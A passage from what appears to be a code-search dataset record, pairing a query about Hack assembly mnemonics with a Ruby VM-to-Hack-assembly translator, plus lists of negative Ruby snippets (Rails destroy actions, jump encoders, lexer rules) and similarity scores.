\"uploaded\")\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to uploaded_products_path }\n format.json { head :no_content }\n end\n end", "def destroy\n @pro_wmall_product = Wmall::Product.find(params[:id])\n @pro_wmall_product.destroy\n\n respond_to do |format|\n format.html { redirect_to pro_wmall_products_url }\n format.json { head :no_content }\n end\n end", "def destroy\r\n @uom = Uom.find(params[:id])\r\n @uom.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_back_or_default(uoms_url) }\r\n format.xml { head :ok }\r\n end\r\n end", "def delete\n Iterable.request(conf, base_path).delete\n end", "def delete\n response = WebPay.client.delete(path)\n response['deleted']\n end", "def destroy\n @catalog_product = CatalogProduct.find(params[:id])\n @catalog_product.destroy\n\n respond_to do |format|\n format.html { redirect_to(catalog_products_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @product_detail_entry = ProductDetailEntry.find(params[:id])\n @product_detail_entry.destroy\n\n respond_to do |format|\n format.html { redirect_to(product_detail_entries_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @purchase = Purchase.find(params[:id])\n @purchase.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_purchases_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @product.destroy\n end", "def destroy\n @precio = Precio.find(params[:id])\n @precio.destroy\n\n respond_to do |format|\n format.html { redirect_to(precios_url) }\n format.xml { head :ok }\n end\n end", "def delete(slide)\n # ./_rels/presentation.xml.rels\n # Update Relationship ids\n # Insert a new one slideRef\n @doc.edit_xml @doc.presentation.rels.path do |xml|\n # Calucate the next id\n # next_id = xml.xpath('//xmlns:Relationship[@Id]').map{ |n| n['Id'] }.sort.last.succ\n # TODO - Figure out how to make this more MS idiomatic up 9->10 instead of incrementing\n # the character....\n # Insert that into the slide and crakc open the presentation.xml file\n\n target = slide.path.relative_path_from(@doc.presentation.path.dirname)\n relationship = xml.at_xpath(\"/xmlns:Relationships/xmlns:Relationship[@Type='#{Slide::REL_TYPE}' and @Target='#{target}']\")\n # ./presentation.xml\n # Update attr\n # p:notesMasterId\n # Insert attr\n # p:sldId, increment, etc.\n @doc.edit_xml '/ppt/presentation.xml' do |xml|\n xml.at_xpath(\"/p:presentation/p:sldIdLst/p:sldId[@r:id='#{relationship['Id']}']\").remove\n end\n relationship.remove\n end\n\n # Delete slide link and slideNotes link from ./[Content-Types].xml \n @doc.edit_xml @doc.content_types.path do |xml|\n xml.at_xpath(\"/xmlns:Types/xmlns:Override[@ContentType='#{Slide::CONTENT_TYPE}' and @PartName='#{slide.path}']\").remove\n xml.at_xpath(\"/xmlns:Types/xmlns:Override[@ContentType='#{Notes::CONTENT_TYPE}' and @PartName='#{slide.notes.path}']\").remove\n end\n\n # Update ./ppt\n # !!! DESTROY !!!\n # ./slides\n # Delete files\n # ./_rels/notesSlide(\\d+).xml.rels\n @doc.delete slide.notes.rels.path\n # ./notesSlide(\\d+).xml file\n @doc.delete slide.notes.path\n # ./_rels/slide(\\d+).xml.rels\n @doc.delete slide.rels.path\n # ./slide(\\d+).xml file\n @doc.delete slide.path\n # ./notesSlides\n # Delete files\n\n # Hooray! We're done! Ummm, what should we return though? can't be the slide since\n # its destroyed and there's no practical way to keep it around in memory.\n end", "def destroy\n @sale_on_sale_import = SaleOnSaleImport.find(params[:id])\n @sale_on_sale_import.destroy\n\n respond_to do |format|\n format.html { redirect_to(sale_on_sale_imports_url) }\n format.xml { head :ok }\n end\n end", "def remove_item(id)\n return nil if self.class.mode == :sandbox\n\n query = { \"type\" => \"delete\", \"id\" => id.to_s, \"version\" => Time.now.to_i }\n doc_request query\n end", "def destroy\n @produtividade = Produtividade.find(params[:id])\n @produtividade.destroy\n\n respond_to do |format|\n format.html { redirect_to(produtividades_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to(:controller => :products, :action => :new) }\n format.xml { head :ok }\n end\n end", "def delete\n has_dependent = false\n @product_licence = ProductLicence.find(params[:id])\n @user = User.find(ProductLicenceDetail.find_by_product_licence_id(@product_licence.id).user_id)\n ProductLicenceDetail.find_all_by_user_id(@user.id).each do |pld|\n has_dependent = true if ProductDependent.find_by_product_id_and_parent_id(ProductLicence.find(pld.product_licence_id).product_id,@product_licence.product_id ).present?\n end\n if has_dependent\n @msg = \"#{Product.find(@product_licence.product_id).name} cannot be deactivated/un-assigned due to dependency\"\n return false\n else\n ProductLicence.product_licence_delete(@product_licence,params)\n Physical::Liviaservices::ServiceProviderEmployeeMappings.destroy_all(:employee_user_id=>@user.id)\n ClusterUser.destroy_all(:user_id=>@user.id)\n licence_assign_unassign_deactivate_mail(params[:type])\n data_after_licence_unassignment_deactivation\n @licences = Product.with_licences(@company_id)\n expire_fragment('active_licences')\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n params.delete(:id)\n load_index()\n end", "def deletepublish\n @question = Publishquiz.find(:all, :conditions=>\"question_id=\"+params[:question]+\" and quiz_id=\"+session[:quizid])\n @question[0].destroy\n\n respond_to do |format|\n format.html { redirect_to(questions_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @prd_threshold = PrdThreshold.find(params[:id])\n @prd_threshold.destroy\n\n respond_to do |format|\n format.html { redirect_to(prd_thresholds_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @utente = Segnalazione.find_by_prg_segna(params[:id])\n @utente.destroy\n\n respond_to do |format|\n format.html { redirect_to(segnalazioni_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @product_status = ProductStatus.find(params[:id])\n @product_status.destroy\n\n respond_to do |format|\n format.html { redirect_to(product_statuses_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @bp_triple = BpTriple.find(params[:id])\n @bp_triple.destroy\n\n respond_to do |format|\n format.html { redirect_to(bp_triples_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @xpto = Xpto.find(params[:id])\n @xpto.destroy\n\n respond_to do |format|\n format.html { redirect_to xptos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @wklysum = Wklysum.find(params[:id])\n @wklysum.destroy\n\n respond_to do |format|\n format.html { redirect_to(wklysums_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n chef_server_rest.delete(\"nodes/#{name}\")\n end", "def destroy\n #@tax_p = TaxP.find(params[:id])\n @tax_p = get_taxp_form_paramid(params[:id])\n @tax_p.destroy\n\n respond_to do |format|\n format.html { redirect_to(tax_ps_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @rr_sale = RrSale.find(params[:id])\n @rr_sale.destroy\n\n respond_to do |format|\n format.html { redirect_to(rr_sales_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @product_info = ProductInfo.find(params[:id])\n @product_info.destroy\n\n respond_to do |format|\n format.html { redirect_to(product_infos_url) }\n format.xml { head :ok }\n end\n end" ]
[ "0.6926008", "0.68583083", "0.6710689", "0.65532064", "0.65359986", "0.6492066", "0.63858956", "0.63825035", "0.6372587", "0.6358469", "0.6333777", "0.63296753", "0.6324634", "0.6320933", "0.6292747", "0.6269973", "0.62526375", "0.62462", "0.62445104", "0.62292045", "0.6205763", "0.61947733", "0.618829", "0.6178184", "0.61750776", "0.61750776", "0.616759", "0.6152559", "0.6149743", "0.6147309", "0.613862", "0.6137349", "0.61297977", "0.6117584", "0.6110185", "0.61071956", "0.61061925", "0.6090015", "0.6083152", "0.60798997", "0.60798144", "0.6077895", "0.60768133", "0.6075563", "0.60629505", "0.6061898", "0.6061898", "0.6061883", "0.6061883", "0.6061883", "0.6061883", "0.6061883", "0.6061883", "0.6061883", "0.6061883", "0.6061883", "0.6061883", "0.6061883", "0.6061883", "0.60609984", "0.60544527", "0.6048078", "0.6045874", "0.60421413", "0.6033065", "0.6032298", "0.60299987", "0.60265845", "0.60254776", "0.6022518", "0.6021674", "0.6019781", "0.6019608", "0.601876", "0.601016", "0.60081875", "0.60066897", "0.6005973", "0.6004477", "0.6003382", "0.6000045", "0.59864765", "0.5985299", "0.5984791", "0.5982287", "0.59815735", "0.5978353", "0.59701085", "0.5969152", "0.5961929", "0.5961419", "0.5961009", "0.595842", "0.59570664", "0.59523124", "0.59512603", "0.5949819", "0.5947881", "0.59410685", "0.59409994" ]
0.6962447
0
=== We translate to === 0, 1, 1, D, A, !D, !A, D, A, D+1, A+1, D1, A1, D+A, DA, AD, D&A, D|A M, !M, M, M+1, D+M, DM, MD, D&M, D|M null, JGT, JEQ, JGE, JLT, JNE, JLE, JMP R0, R1, ..., R15, SP, LCL, ARG, THIS, THAT SCREEN, KBD
def parse(input_file, label_count) output = [] input_file.each_line do |line| next if line.match(/\/\/.*/) if match = line.match(/push (?<segment>.+) (?<index>.+)/) push_constant_asm = %{ @%s D=A @SP A=M M=D @SP M=M+1 } push_relative_asm = %{ @%s D=A @%s A=D+M D=M @SP A=M M=D @SP M=M+1 } push_pointer_asm = %{ @%s D=A @L#{label_count} D;JEQ @THAT D=M @L#{label_count + 1} 0;JMP (L#{label_count}) @THIS D=M (L#{label_count + 1}) @SP A=M M=D @SP M=M+1 } push_indirect_asm = %{ @%s D=A @%s A=D+A D=M @SP A=M M=D @SP M=M+1 } case match[:segment] when "constant" output << (push_constant_asm % match[:index].strip).split when "local" output << (push_relative_asm % [match[:index].strip, "LCL"]).split when "argument" output << (push_relative_asm % [match[:index].strip, "ARG"]).split when "this" output << (push_relative_asm % [match[:index].strip, "THIS"]).split when "that" output << (push_relative_asm % [match[:index].strip, "THAT"]).split when "pointer" output << (push_pointer_asm % match[:index].strip).split label_count = label_count + 2 when "temp" output << (push_indirect_asm % [match[:index].strip, "R5"]).split when "static" output << (push_indirect_asm % [match[:index].strip, "16"]).split end end pop_relative_asm = %{ @%s D=M @%s D=D+A @R13 M=D @SP AM=M-1 D=M @R13 A=M M=D } pop_pointer_asm = %{ @%s D=A @L#{label_count} D;JEQ @THAT D=A @L#{label_count + 1} 0;JMP (L#{label_count}) @THIS D=A (L#{label_count + 1}) @R13 M=D @SP AM=M-1 D=M @R13 A=M M=D } pop_indirect_asm = %{ @%s D=A @%s D=D+A @R13 M=D @SP AM=M-1 D=M @R13 A=M M=D } if match = line.match(/pop (?<segment>.+) (?<index>.+)/) case match[:segment] when "local" output << (pop_relative_asm % ["LCL", match[:index].strip]).split when "argument" output << (pop_relative_asm % ["ARG", match[:index].strip]).split when "this" output << (pop_relative_asm % ["THIS", match[:index].strip]).split when "that" output << (pop_relative_asm % ["THAT", match[:index].strip]).split when "pointer" output << (pop_pointer_asm % match[:index].strip).split label_count = label_count + 2 when "temp" output << (pop_indirect_asm % [match[:index].strip, "R5"]).split when "static" output << (pop_indirect_asm % [match[:index].strip, "16"]).split end end math_asm = %{ @SP D=M AM=D-1 D=M A=A-1 M=M%sD } output << (math_asm % "+").split if line.match(/add/) output << (math_asm % "-").split if line.match(/sub/) binary_logic_asm = %{ @SP D=M AM=D-1 D=M A=A-1 M=D%sM } output << (binary_logic_asm % "|").split if line.match(/or/) output << (binary_logic_asm % "&").split if line.match(/and/) unary_logic_asm = %{ @SP A=M-1 D=M M=%sD } output << (unary_logic_asm % "-").split if line.match(/neg/) output << (unary_logic_asm % "!").split if line.match(/not/) comp_asm = %{ @SP AM=M-1 D=M A=A-1 D=M-D @L#{label_count} D;%s D=0 @L#{label_count + 1} 0;JMP (L#{label_count}) D=-1 (L#{label_count + 1}) @SP A=M-1 M=D } if line.match(/eq/) output << (comp_asm % "JEQ").split label_count = label_count + 2 end if line.match(/gt/) output << (comp_asm % "JGT").split label_count = label_count + 2 end if line.match(/lt/) output << (comp_asm % "JLT").split label_count = label_count + 2 end end return [output, label_count] end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def jump(_jump)\n j1 = '0'\n j2 = '0'\n j3 = '0'\n\n if (_jump == 'null')\n #Do nothing\n elsif (_jump == 'JGT')\n j3 = '1'\n elsif (_jump == 'JEQ')\n j2 = '1'\n elsif (_jump == 'JGE')\n j2 = '1'\n j3 = '1'\n elsif (_jump == 'JLT')\n j1 = '1'\n elsif (_jump == 'JNE')\n j1 = '1'\n j3 = '1'\n elsif (_jump == 'JLE')\n j1 = '1'\n j2 = '1'\n elsif (_jump == 'JMP')\n j1 = '1'\n j2 = '1'\n j3 = '1'\n else\n raise 'invalid syntax'\n end\n return j1 + j2 + j3\n end", "def alpha_mapping\n {# 1st line\n Q: '__{ KeyCode::Q, ModifierFlag::COMMAND_L, ModifierFlag::OPTION_L, ModifierFlag::CONTROL_L }__', # hammer\n W: \"__{ KeyCode::KEY_5, #{shift_opt}, KeyCode::MINUS, #{shift_opt}, #{left} }__\", # []\n E: \"__{ KeyCode::KEY_5, KeyCode::MINUS, #{left} }__\", # ()\n R: \"__{ KeyCode::KEY_5, #{opt}, KeyCode::MINUS, #{opt}, #{left} }__\", # {}\n T: \"__{ KeyCode::BACKQUOTE, KeyCode::BACKQUOTE, #{shift}, #{left} }__\", # <>\n Y: \"__{ KeyCode::KEY_1, #{shift} }__\", # 1\n U: \"__{ KeyCode::CURSOR_LEFT, #{cmd} }__\", # left\n I: '__{ KeyCode::CURSOR_UP }__', # up\n O: \"__{ KeyCode::CURSOR_RIGHT, #{cmd} }__\", # right\n P: nil,\n\n # 2nd line\n A: '__{ KeyCode::A, ModifierFlag::COMMAND_L, ModifierFlag::OPTION_L, ModifierFlag::CONTROL_L }__', # hammer\n S: '__{ KeyCode::S, ModifierFlag::COMMAND_L, ModifierFlag::OPTION_L, ModifierFlag::CONTROL_L }__', # hammer\n D: '__{ KeyCode::D, ModifierFlag::COMMAND_L, ModifierFlag::OPTION_L, ModifierFlag::CONTROL_L }__', # hammer\n F: \"__{ KeyCode::KEY_3, KeyCode::KEY_3, #{left} }__\", # \"\",\n G: \"__{ KeyCode::KEY_4, KeyCode::KEY_4, #{left} }__\", # '',\n H: '__{ KeyCode::RawValue::0x97 }__', # nil, # 0, # ----- # todo: <- NC #'__{ KeyCode::M }__',\n J: '__{ KeyCode::CURSOR_LEFT }__', # LEFT\n K: '__{ KeyCode::CURSOR_DOWN }__', # DOWN\n L: '__{ KeyCode::CURSOR_RIGHT }__', # RIGHT\n QUOTE: '__{ KeyCode::RawValue::0x98 }__', # todo: -> NC\n\n # 3rd line\n Z: '__{ KeyCode::Z, ModifierFlag::COMMAND_L, ModifierFlag::OPTION_L, ModifierFlag::CONTROL_L }__', # hammer\n X: '__{ KeyCode::X, ModifierFlag::COMMAND_L, ModifierFlag::OPTION_L, ModifierFlag::CONTROL_L }__', # hammer\n C: '__{ KeyCode::C, ModifierFlag::COMMAND_L, ModifierFlag::OPTION_L, ModifierFlag::CONTROL_L }__', # hammer\n V: '__{ KeyCode::V, ModifierFlag::COMMAND_L, ModifierFlag::OPTION_L, ModifierFlag::CONTROL_L }__', # hammer\n B: '__{ KeyCode::B, ModifierFlag::COMMAND_L, ModifierFlag::OPTION_L, ModifierFlag::CONTROL_L }__', # hammer\n N: '__{ KeyCode::N, ModifierFlag::COMMAND_L, ModifierFlag::OPTION_L, ModifierFlag::CONTROL_L }__', # hammer\n M: \"__{ KeyCode::CURSOR_LEFT, #{opt} }__\", # <- word\n COMMA: '__{ KeyCode::RawValue::0x96 }__', # down something\n DOT: \"__{ KeyCode::CURSOR_RIGHT, #{opt} }__\", # -> word\n # BACKQUOTE: 'BACKSLASH', Z: 'COMMA',\n\n KEY_2: \"__{ KeyCode::L, #{shift_opt}, KeyCode::L, #{shift_opt}, #{left} }__\", # ||\n KEY_3: \"__{ KeyCode::KEY_3, KeyCode::KEY_3, #{left} }__\", # '', # -----\n KEY_4: \"__{ KeyCode::KEY_4, KeyCode::KEY_4, #{left} }__\", # \"\", # -----\n KEY_5: \"__{ KeyCode::BACKSLASH, KeyCode::BACKSLASH, #{left} }__\", # ``,\n KEY_7: nil,\n KEY_8: '__{ KeyCode::RawValue::0x95 }__',\n KEY_9: nil\n }.with_indifferent_access\n end", "def goto(args,i,bool=false)\n\ttag = bool ? args[0] : (FUNCTION.length > 0 ? FUNCTION[-1]+\"$\"+args[0] : args[0])\n\tif args[1] then return \"@SP\\nAM=M-1\\nD=M\\n@\"+tag+\"\\nD;JNE\\n\"\n\telse return \"@\"+tag+\"\\n0;JMP\\n\" end\nend", "def expand_1(j)\n s = sprintf(\"/* expand_1(%2d) */\\n\", j)\n s += sprintf(\"\\tq[%2d] = \\n\", j+16)\n s += sprintf(\"\\t\\t(( ROTL32(((uint32_t*)m)[%2d], %d) \\n\", j%16, (j%16)+1)\n s += sprintf(\"\\t\\t + ROTL32(((uint32_t*)m)[%2d], %d) \\n\", (j+ 3)%16, ((j+ 3)%16)+1)\n s += sprintf(\"\\t\\t - ROTL32(((uint32_t*)m)[%2d], %d) \\n\", (j+10)%16, ((j+10)%16)+1)\n s += sprintf(\"\\t\\t + 0x%08xUL \\n\", 0x0555_5555*(16+j))\n s += sprintf(\"\\t\\t )^ ((uint32_t*)h)[%2d] \\n\", (j+7)%16)\n s += sprintf(\"\\t\\t)\");\n (0..15).each do |x|\n s += (x%4==0)?\"\\n\\t\\t\":\" \"\n s += sprintf(\"+ S32_%d(q[%2d])\", (x+1)%4, x+j)\n end\n s += ';'\n return s\nend", "def mac(dir,sgmt,v,opt=nil)\n\t# if dir, its a push command, o.w. its a pop\n\tret = dir ? \"@SP\\nA=M\\nM=D\\n@SP\\nM=M+1\\n\" : \"@SP\\nAM=M-1\\nD=M\\n\"\n\tcase sgmt\n\twhen \"static\"\n\t\tret = dir ? \"@\"+opt+\".\"+v+\"\\nD=M\\n\"+ret : ret + \"@\"+opt+\".\"+v+\"\\nM=D\\n\"\n\twhen \"constant\", \"temp\"\n\t\tt = sgmt == \"temp\" ? [(v.to_i + 5).to_s,'M'] : [v,'A']\n\t\t# push: D = RAM[t] or D = t (if constant) then push; pop: RAM[t] = RAM[SP]\n\t\tret = dir ? \"@\"+t[0]+\"\\nD=\"+t[1] +\"\\n\"+ret : ret+\"@\"+t[0]+\"\\nM=D\\n\"\n\twhen \"this\",\"that\",\"local\",\"argument\"\n\t\t# yes this double ternary is gross, but it shortens the code considerably\n\t\ttag = \"thisthat\".include?(sgmt) ? sgmt.upcase : (sgmt == \"local\" ? \"LCL\" : \"ARG\")\n\t\t# D or A = RAM[tag]+v \n\t\tt = \"@\"+tag+\"\\nD=M\\n@\"+v+\"\\n\"+(dir ? 'A': 'D')+\"=D+A\\n\"\n\t\tret = dir ? \n\t\t# D = RAM[D] then RAM[SP] = D\n\t\tt+\"D=M\\n\"+ret : \n\t\t# RAM[13] = D then RAM[RAM[13]] = RAM[SP]\n\t\tt+\"@13\\nM=D\\n\"+ret+\"@13\\nA=M\\nM=D\\n\" \n\twhen \"pointer\"\n\t\tt = v == \"1\" ? \"@THAT\\n\" : \"@THIS\\n\"\n\t\tret = dir ? t+\"D=M\\n\"+ret : ret+t+\"M=D\\n\"\n\telse return -1 \n\tend\n\treturn ret\nend", "def glte(b,ln)\n\treturn arith(\"-\",\"D\")+\n\t\"@T\"+ln.to_s+\"\\nD;\"+b+\"\\n@SP\\nA=M-1\\nM=0\\n@CT.\"+\n\tln.to_s+\"\\n0;JMP\\n(T\"+ln.to_s+\")\\n@SP\\nA=M-1\\nM=-1\\n(CT.\"+ln.to_s+\")\\n\"\nend", "def jump(n)\n \t\"*Jump!* \" * 2\n end", "def step\n instcode = @memory[@ip]\n raise \"nil opcode encountered\" if instcode.nil?\n\n opcode = instcode % 100\n argcount = ARGCOUNT[opcode] || 0\n addressing_modes = argcount.times.map { |ix| (instcode / (10 ** (ix + 2))) % 10 }\n args = addressing_modes.each_with_index.map do |am, ix|\n raw_arg = @memory[@ip + ix + 1]\n translate_arg(opcode, ix, raw_arg, am)\n end\n\n if TRACE\n STDERR.puts \"#{@id} @ip=#{@ip} @base=#{@base} inst=#{@memory[@ip..@ip+argcount].inspect} opcode=#{opcode} am=#{addressing_modes.inspect} args=#{args.inspect}\"\n end\n\n jump_target = nil\n case opcode\n when 1 # add\n @memory[args[2]] = args[0] + args[1]\n when 2 # mul\n @memory[args[2]] = args[0] * args[1]\n when 3 # in\n if @inputs.any?\n @memory[args[0]] = @inputs.shift\n else\n return :need_input\n end\n when 4 # out\n @outputs << args[0]\n when 5 # jnz\n jump_target = args[1] if args[0] != 0\n when 6 # jz\n jump_target = args[1] if args[0] == 0\n when 7 # lt\n @memory[args[2]] = (args[0] < args[1]) ? 1 : 0\n when 8 # eq\n @memory[args[2]] = (args[0] == args[1]) ? 1 : 0\n when 9 #base\n @base += args[0]\n when 99\n return nil\n else\n raise \"invalid opcode #{opcode} at position #{@ip}\"\n end\n\n if jump_target\n @ip = jump_target\n else\n @ip += argcount + 1\n end\n end", "def t__16!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 9 )\n\n type = T__16\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 25:9: 'D'\n match( 0x44 )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 9 )\n\n end", "def t__64!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 3 )\n\n type = T__64\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 9:9: '['\n match( 0x5b )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 3 )\n\n end", "def ret(args,i)\n\tlines = \"@LCL\\nD=M\\n@FRAME\\nM=D\\n@5\\nA=D-A\\nD=M\\n@RET\\nM=D\\n\"\n\tlines += mac(false,'argument',\"0\")\n\tlines += \"@ARG\\nD=M+1\\n@SP\\nM=D\\n\"\n\tlines += indc(\"THAT\",\"FRAME\",\"1\")\n\tlines += indc(\"THIS\",\"FRAME\",\"2\")\n\tlines += indc(\"ARG\",\"FRAME\",\"3\")\n\tlines += indc(\"LCL\",\"FRAME\",\"4\")\n\tlines += \"@RET\\nA=M\\n0;JMP\\n\"\nend", "def test_correct_jump_offsets\n assert_instructions \"(true or true or true) or true\", [\n [\"lit\", true], [\"jtrue\", 4], [\"lit\", true], [\"jtrue\", 2], [\"lit\", true],\n [\"jtrue\", 2], [\"lit\", true],\n ]\n end", "def t__32!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 3 )\n\n\n\n type = T__32\n channel = ANTLR3::DEFAULT_CHANNEL\n # - - - - label initialization - - - -\n\n\n # - - - - main rule block - - - -\n # at line 9:9: '%'\n match( 0x25 )\n\n\n @state.type = type\n @state.channel = channel\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 3 )\n\n\n end", "def step\n instcode = @memory[@ip]\n raise \"nil opcode encountered\" if instcode.nil?\n\n opcode = instcode % 100\n arg0imm = (instcode / 100) % 10 == 1\n arg1imm = (instcode / 1000) % 10 == 1\n\n argcount = ARGCOUNT[opcode] || 0\n args = @memory[@ip + 1..@ip + argcount]\n arg0 = (arg0imm ? args[0] : @memory[args[0]]) if argcount >= 1\n arg1 = (arg1imm ? args[1] : @memory[args[1]]) if argcount >= 2\n\n jump_target = nil\n case opcode\n when 1 # add\n @memory[args[2]] = arg0 + arg1\n when 2 # mul\n @memory[args[2]] = arg0 * arg1\n when 3 # in\n raise \"input past end\" unless @inputs.any?\n @memory[args[0]] = @inputs.shift\n when 4 # out\n @outputs << arg0\n when 5 # jnz\n jump_target = arg1 if arg0 != 0\n when 6 # jz\n jump_target = arg1 if arg0 == 0\n when 7 # lt\n @memory[args[2]] = (arg0 < arg1) ? 1 : 0\n when 8 # eq\n @memory[args[2]] = (arg0 == arg1) ? 1 : 0\n when 99\n return nil\n else\n raise \"invalid opcode #{opcode} at position #{@ip}\"\n end\n\n if jump_target\n @ip = jump_target\n else\n @ip += argcount + 1\n end\n end", "def explore(instructions)\n instructions = instructions.upcase\n instructions.each_char { |instruction|\n case instruction\n when /(L|R)/\n self.sequence << @move.rotate(instruction)\n when 'M'\n self.sequence << @move.move\n else \n self.sequence << \"ERROR: wrong input #{instruction} USAGE: [L/R/M]\"\n end\n }\n final_position\n end", "def do_instruction(x)\n case x\n when x = \"L\"\n then turn_left\n when x = \"R\"\n then turn_right\n when x = \"M\"\n then move_forward\n else\n puts \"This is not a valid instruction\"\n end\n end", "def execute_JNAE(operand) # Same as the JC and JB instructions\n\t\tjump_conditionally_to_signed_displacement(operand, @flags.value[CARRY_FLAG] == 1) # Zero means not set\n\tend", "def translate(str,open_b = false)\n return nil unless str.is_a? Array\n funct = \"\"\n state = 0\n while @i < str.size\n case state\n \n # beginning state\n when 0\n case str[@i]\n when /[\\+\\-]/\n funct += str[@i]\n state = 1\n when /\\p{Alpha}/\n if Tool.f.include? str[@i] then\n funct += \"Math::#{str[@i]}\"\n state = 4 unless str[@i] == \"PI\"\n state = 2 if str[@i] == \"PI\"\n elsif str[@i].size == 1\n ch = str[@i].downcase\n funct += ch\n @vars << ch unless @vars.include? ch\n state = 2\n else\n return nil\n end\n when /[0-9]+/\n if str[@i].integer? or str[@i].float? then\n funct += str[@i]\n state = 2\n else\n return nil\n end\n when \"(\"\n funct += \"(\"\n @i += 1\n part = translate(str,true)\n state = 2\n if part != nil then\n funct += part\n else\n return nil\n end\n else\n return nil\n end\n \n # state 1 expects or a variable (single char) or a number or a function or (\n when 1\n case str[@i]\n when /\\p{Alpha}/\n if Tool.f.include? str[@i] then\n funct += \"Math::#{str[@i]}\"\n state = 4 unless str[@i] == \"PI\"\n state = 2 if str[@i] == \"PI\"\n elsif str[@i].size == 1\n ch = str[@i].downcase\n funct += ch\n @vars << ch unless @vars.include? ch\n state = 2\n else\n return nil\n end\n when /[0-9]+/ \n if str[@i].integer? or str[@i].float? then\n funct += str[@i]\n state = 2\n else\n return nil\n end\n when \"(\"\n funct += \"(\"\n state = 3\n else\n return nil\n \n end\n \n # state 2 expects an operator or )\n when 2\n if /[\\+\\-\\*\\/\\^]{1}/ =~ str[@i] then\n funct += str[@i] if str[@i] != \"^\"\n funct += \"**\" if str[@i] == \"^\"\n state = 1\n elsif str[@i] == \")\"\n if open_b then\n return funct + \")\"\n else\n return nil\n end\n else\n return nil\n end\n \n # state 3 expects a sub_expression not beginnin with (\n when 3\n part = translate(str,true)\n state = 2\n if part != nil then\n funct += part\n else\n return nil\n end\n \n # state 4 expects a sub_expression beginning with (\n when 4\n if str[@i] == '(' then\n @i += 1\n part = translate(str,true)\n state = 2\n if part != nil then\n funct += '(' + part\n else\n return nil\n end\n else\n return nil\n end\n \n else\n return nil\n end\n @i += 1\n end\n return nil if state == 1\n return funct\n end", "def perform_sequence(plateau)\n @sequence.each_char do |chr|\n case chr\n when 'L' then turn_left\n when 'R' then turn_right\n when 'M'\n move_forward\n unless plateau.location_is_safe?(@coords_x, @coords_y)\n life_death_toggle\n break\n end\n end\n end\n end", "def factor\n if @look == '(' \n match '('\n expression\n match ')'\n elsif is_alpha?@look\n ident\n else\n emit_ln \"MOVE ##{get_num},D0\"\n end\nend", "def term\n factor\n operations = ['*', '/']\n while (operations.any? { |op| @look == op })\n emit_ln 'MOVE D0, -(SP)'\n case @look\n when '*': multiply\n when '/': divide\n else expected('Mulop')\n end\n end\nend", "def fast_dance(direction, tiles)\n\nend", "def step1(str)\n r1,r2 = r12(str)\n r1_text = str[r1..-1]\n r2_text = str[r2..-1]\n\n case r2_text\n when /(anzas?|ic[oa]s?|ismos?|[ai]bles?|istas?|os[oa]s?|[ai]mientos?)$/i\n str[%r{#$&$}]=''\n return true\n when /(ic)?(ador([ae]s?)?|aci[óÓ]n|aciones|antes?|ancias?)$/ui\n str[%r{#$&$}]=''\n return true\n when /log[íÍ]as?/ui\n str[%r{#$&$}]='log'\n return true\n when /(uci([óÓ]n|ones))$/ui\n str[%r{#$&$}]='u'\n return true\n when /(encias?)$/i\n str[%r{#$&$}]='ente'\n return true\n end\n\n if r2_text =~ /(ativ|iv|os|ic|ad)amente$/i or r1_text =~ /amente$/i\n str[%r{#$&$}]=''\n return true\n end\n\n case r2_text\n when /((ante|[ai]ble)?mente)$/i, /((abil|i[cv])?idad(es)?)$/i, /((at)?iv[ao]s?)$/i\n str[%r{#$&$}]=''\n return true\n end\n false\n end", "def next_direction(current_direction, turn_direction)\n case turn_direction\n when \"L\"\n (current_direction - 1) % 4\n when \"R\"\n (current_direction + 1) % 4\n end\nend", "def can_you_see?(map, dim, direction)\n plus = case direction\n when 1 then [-1,-1]\n when 2 then [-1, 0]\n when 3 then [-1, 1]\n when 4 then [ 0,-1]\n when 6 then [ 0, 1]\n when 7 then [ 1,-1]\n when 8 then [ 1, 0]\n when 9 then [ 1, 1]\n end\n\n #print \"whereami: \"\n whereami = whereami(map)\n coord = whereami\n\n while dim > 0 do\n whereamfrom = coord\n coord = [coord,plus].transpose.map{|ary| ary.inject(&:+) }\n\n #print \"distance: \"\n distance = distance(whereamfrom, coord)\n\n if whereamfrom == whereami || coord == whereami\n # 最初は0.5しか進まないわけだが...。\n if plus.any?{|e| e==0}\n dim -= 0.5\n else #角度を付けて入ってきた場合\n dim -= Math.sqrt(0.5**2 + 0.5**2)\n end\n else\n dim -= distance\n end\n return false if dim < 0\n #print \"now: \"\n #p coord\n #print \"dim: \"\n #p dim\n if myself?(coord, map)\n return true\n elsif mirror?(coord, map)\n # print \"!!! mirror #{plus} -> \"\n # TODO: 入った角度による。これはきれいに反射した場合\n plus = plus.map{|e| -1*e }\n # print \"#{plus}\\n\"\n end\n end\nend", "def t__81!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 2 )\n\n\n\n type = T__81\n channel = ANTLR3::DEFAULT_CHANNEL\n # - - - - label initialization - - - -\n\n\n # - - - - main rule block - - - -\n # at line 